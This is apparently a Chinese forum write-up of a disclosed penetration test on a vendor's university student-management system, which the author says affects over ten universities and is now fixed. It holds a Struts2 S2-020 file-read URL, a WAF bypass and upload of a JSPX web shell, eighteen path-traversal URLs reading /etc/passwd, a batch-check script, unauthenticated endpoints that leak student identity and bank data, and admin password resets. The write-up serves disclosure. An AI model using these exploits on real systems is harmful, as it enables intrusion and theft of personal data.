S2-020引发的血案(含某方通用漏洞复现)

S2-020引发的血案

本文分为两部分,第一部分为利用S2-020+任意文件上传漏洞的渗透过程,与去年9月提交给学校并已修复,而且已放进内网,就不打码了【听审核的话还是打上码了】,第二部分为审计源码发现的某方通用漏洞的复现过程。

一、校内站点测试——漏洞网站:http://**. **.edu.cn,为某方学生工作管理系统 (很久以前写的,直接拷贝过来了)


漏洞一:前端js过滤文件上传黑名单


审查网页,发现在第二课堂->活动补录申请、党团建设、综合成绩处均存在文件上传,尝试利用后,综合成绩下只允许上传xlsx模板,其余两个栏目对文件类型做了黑名单过滤,尝试上传jsp文件,出现弹框:

burpsuite拦截未出现url请求,说明为前端js过滤,问题就简单了,chrome管理者工具下断点调试,发现comm/fileupload/jmf.js下有如下代码:

if(ERROR!=''){
            // Handle error
            MultiFile.error(ERROR);

            // 2007-06-24: BUG FIX - Thanks to Adrian Wr骲el <adrian [dot] wrobel [at] gmail.com>
            // Ditch the trouble maker and add a fresh new element
            MultiFile.n--;
            MultiFile.addSlave(newEle[0], slave_count);
            slave.parent().prepend(newEle);
            slave.remove();
            return false;
            };

burp拦截,直接删除该段代码,或在if前加上:ERROR='';成功绕过js过滤,可以上传任意类型文件了。(这里不采用修改后缀的原因为该方法上传超时后会报错,并不太想跟系统拼手速)
但问题显然还没有结束。。。
任意上传一个jsp文件后,发现一直显示处理中,


点击下载抓包

fid=undefined,而其他文件上传成功后会自动生成fid,说明并未上传成功,用开发者工具调试后,发现在某个js文件下的setTimeout(post(servlet),**)方法中突然出现400Bad Request请求,推测后台对文件内容或文件头仍进行了过滤,这时已经猜测上传后文件与网站不在同一根目录下,即使上传成功也无法进行有效利用,故而暂时放弃这一漏洞。


漏洞二:越权更改任意用户名密码漏洞

观察网站url,尝试访问http://** .** .edu.cn/xgxt/login.jsp,果然有跳转,返回了教务管理系统登录页面,返回页面如下【直接访问该站点根路径会跳转到统一身份认证界面,等于该页面为一废弃的登录界面,但具体废没废弃,下文见分晓】:


随便试了下sql注入,果然是不存在的。。点击忘记密码,随便输了一个用户名,弹出提示:

成了,直接burp抓包,爆破出三个有效用户名:qwe,zf,99··好多个··9,尝试下一步验证信息,弹出提示框:

继续审查url:<http://** .** .edu.cn/xgxt/mmzhgl_mmzh.do?method=checkYh&type=view>, 发现页面根据method直接反馈,构造url:<http://** .** .edu.cn/xgxt/mmzhgl_mmzh.do?method=xgmm>, 跳转到修改密码页面:

发现用户名一栏不能输入,直接在url里加上yhm=qwe,成功回显,并修改密码成功:

返回前台登录,用修改后的密码登陆仍然失败,说明此处登录页面已经废弃,sigh。。。所以该删的就直接删了嘛,不然。。不就引出了个大方子出来。


漏洞三:S2-020漏洞

重新扫了一遍站点,发现在重置密码页面的url存在S2-020漏洞,可构造url:http://. .edu.cn/xgxt/mmzhgl_mmzh.domethod=checkYh&class.classLoader.resources.dirContext.aliases=/abcd=../../../../../../../etc,接着访问 http://** . **.edu.cn/abcd/passwd:


本来事情到这应该结束了,上传漏洞,删除login页面或者添加过滤条件就完了,但因为发现时时间已晚,网信中心老师已经下班了,并且想起来还有第一个文件上传漏洞,觉得大概或许应该可以深入利用一下。


漏洞组合拳: 绕过waf写入shell

已知条件:
①目标网站可以绕过文件类型限制,但jsp,php,asp,cgi等文件均上传失败
②文件上传后,通过调用后台方法预览文件
③可以读取目标服务器的任意文件,并通过Tomcat解析
求:
如何写入shell?

先不管玄学的文件上传方法,把上传文件目录搞到再说。

通过任意文件读取,审查xgxt目录下WEB-INF/web.xml配置,发现fileupload.class源码路径,构造url后下载查看:

private FileInfoService service = new FileInfoService();
private static ResourceBundle resource = ResourceBundle.getBundle("config/fileUploadConfig");
private String basePath = null;
……
this.basePath = resource.getString("filesys.local.dir");
……
public ActionForward asyncUpload(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
……
FileInfo info = FormFileToFileInfo(file, uploadForm.getGid());
……
fos = new FileOutputStream(new File(this.basePath + File.separator + info.getGeneratename()));
……
}
……
private static FileInfo FormFileToFileInfo(FormFile file, String gid) {
     	……
    String curtime = DateUtils.getCurrTime();
    String fid = UniqID.getInstance().getUniqIDHash().toUpperCase();
    String originalname = file.getFileName();
    String ext = StringToolkit.getLastName(originalname);
    String generatename = fid + '.' + ext;
    String filesize = file.getFileSize() + ""
    String filesize = file.getFileSize() + "";
    info.setExt(ext);
    info.setFid(fid);
    info.setFilesize(filesize);
    info.setGeneratename(generatename);
    info.setGid(gid);
    info.setOriginalname(originalname);
    info.setUploadtime(curtime);
    info.setCanpreview(resource.containsKey(ext));
    return info;
    	……
}

发现后端并没有对文件格式进行过滤,我更纳闷了。继续下载WEB-INF/class/config目录下的fileUpload.properties配置,得到上传文件的根目录:/path/abc/;顺便把StringToolkit.class源码下载下来也查看一下:

public static String getLastName(String clazzName) {
    String[] ls = clazzName.split("\\.");
    return ls[ls.length - 1];
}

验证了我们的猜测,文件后缀也没变,至此,已经得到了上传文件的服务器路径:/path/abc/fid.ext,其中fid为上传成功后返回前端的一串随机数,ext为自己构造的任意文件后缀。

于是问题又回到了起点:怎样能上传成功jsp或jspx文件呢?

我反复尝试更改Content-type,空字符截断和伪造文件头等方法,但都返回了400的错误请求,一次偶然我上传了一份>1000kb的doc文件并尝试更改后缀为jsp后,竟然成功上传了。并且下载后返回的文件格式也为jsp文件,说明服务器端的文件也为jsp格式:


我又尝试了通过更改其他格式的原文件后缀来上传,发现txt、doc、docx等文本文件在本身体积较大时,更改后缀后可顺利上传,这是什么原理我始终没想明白【其实就是垃圾字节绕过waf啦,傻瓜】,不过随便上传一个txt的大文件,更改为jsp后缀,并通过S2-020漏洞构造出访问fakepath的直接路径,打开上传好的jsp页面,于是:

这才想起来在前端的web.xml下对jsp的路径作了过滤,于是直接上传jspx格式木马,访问http://** .**.edu.cn/abc/fid.jspx?cmd=whoami:

成功上传shell。

二、某方学生工作管理系统通用漏洞分析:
放寒假后,学校的漏洞也挖的差不多了,就开始去edusrc试了试水,一番尝试没啥思路,就翻了翻旧账,正好翻到本文的这个漏洞,搜了下用这套系统的高校还挺多(其实也就十几个),正好当时搞定学校系统后,顺手把源码打包下了一份,虽然漏洞都修好了,但说不定审审有惊喜?

漏洞一:十八处任意文件下载【正方,缝合的神!】

审代码第一件事当然是找上传点,但某方还比较有良心,所有的上传方法找了一遍,不是后续需要调用xlsx文件相关方法给限制死了,就是上传路径不在网站根目录下,不禁想念起了S2-020好兄弟,但现在大家waf都这么严,一个class就直接reset了,想啥呢,还是安心找找其他容易利用的洞。

其实在找上传方法的时候,我就发现了很多奇怪的下载方法,在学校站点里一个都见不着,但就是写在了代码里,访问相应的url还能访问到,利用download等关键词,找到了18个可任意文件下载的路径:

/xgxt/commXszz.do?method=downLoad&fileName=null&dir=/../../../../../../../../etc/passwd
/xgxt/commXszz.do?method=downLoadFile&filePath=/etc/passwd&fileName=passwd
/xgxt/downloadfilewj.do?len=&wjsclj=../../../../../etc/passwd
/xgxt/czxxDtjsDyxx.do?method=downLoadFile&dir=/../../../../../../../etc/passwd
/xgxt/zgdzdxXxwh.do?method=downLoadFile&dir=../../../../../../../../../../etc/passwd
/xgxt/gyccgl_ccdj.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/jskp_lxsq.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/jskpXmjg.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/xspj_xspjjg.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/xspj_xspjsq.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/cjff_zjdx.do?method=downloadFileError&filename=../../../../../../../../../etc/passwd
/xgxt/hcyhk_hcyhqjdr.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/xpj_zhpxf.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/grttxm_jdsz.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/xszz_zzxmjg.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/zjly_ylbx.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/zjly_zhfdr.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd
/xgxt/bycl.do?method=downloadFileError&filename=../../../../../../../../../../etc/passwd

随意挑一个看一下源码:


可见仅对dir的长度做了限制(>27),或直接将filename拼合入路径,18个方法基本都差不多。其实从web.xml也能看出,某方是把所有学校的需求都写进了一个安装包里,来一个写一个,代码一起用,有锅一起背。
写个脚本批量验证下(还是以本校为例)

import requests

root_url="http://**.**.edu.cn"
cookies = {"JSESSIONID":"21B5EEC9DC7DD1DBD5533ABA6B1D650E;"}

if __name__ == '__main__':
    file = open("vul_path")
    # cookie_dict = get_cookies(cookies)
    for path in file.readlines():
        url = root_url+path.strip()
        resp =requests.get(url=url, cookies=cookies)
        print(url + ": " + resp.text.split("\n")[0])

结果:


返回出错的那个手动验证也是可以的

漏洞二:任意学生与教师敏感信息查看

在访问各路径的过程中,我已经发现该系统并未对do后缀的路径做严格过滤,导致低权限下可访问许多不应访问的页面,如新闻的删改,活动的审核等,再进一步搜索有关方法后,我找到了几处未做鉴权的敏感路径:

  1. /xgxt/xsxx_xsgl.do?method=showStudentsAjax&isAll=true:可查看所有学生列表

  2. /xgxt/general_szdw.do?method=szdwRybb&lx=fdy:可查看所有辅导员信息


    (这两步是为后续利用做准备)

  3. /xgxt/xsxx_xsgl.do?method=getXsjbxxMore&xh=:可查看学生所有敏感信息(包括身份证号、银行卡号、地址、本系统的MD5密码等)
    图片

  4. /xgxt/szdw_fdyxx.do?method=fdyxxEdit(View)&zgh= 可查看或修改辅导员信息:


    至此,我们已经可以获取全校师生的敏感信息,只需要一个普通的学生账号,那么问题来了,账号要怎么获得呢?

漏洞三:任意密码重置漏洞

在学生信息越权查看页面,我发现居然有用户的MD5密码(因为一般都是统一认证登录,所以该系统未设置过密码,导致我对该系统登陆机制和数据结构产生了某些误解),以及url头中的xh=似乎都在暗示着什么,我又试了下修改密码的界面,输入学号,返回:
图片
利用第一部分中的重置密码漏洞,把我的密码重置为aaa123,成功绕过统一认证登录:


于是我们现在只需要一个学号,就能获取系统内所有用户的敏感信息,当然在后续,我还发现系统内内置了超级管理员账号zf01,直接重置密码后登录:

几万人的信息也随便看了。
该漏洞影响十余所高校,目前都已修复。

4 Likes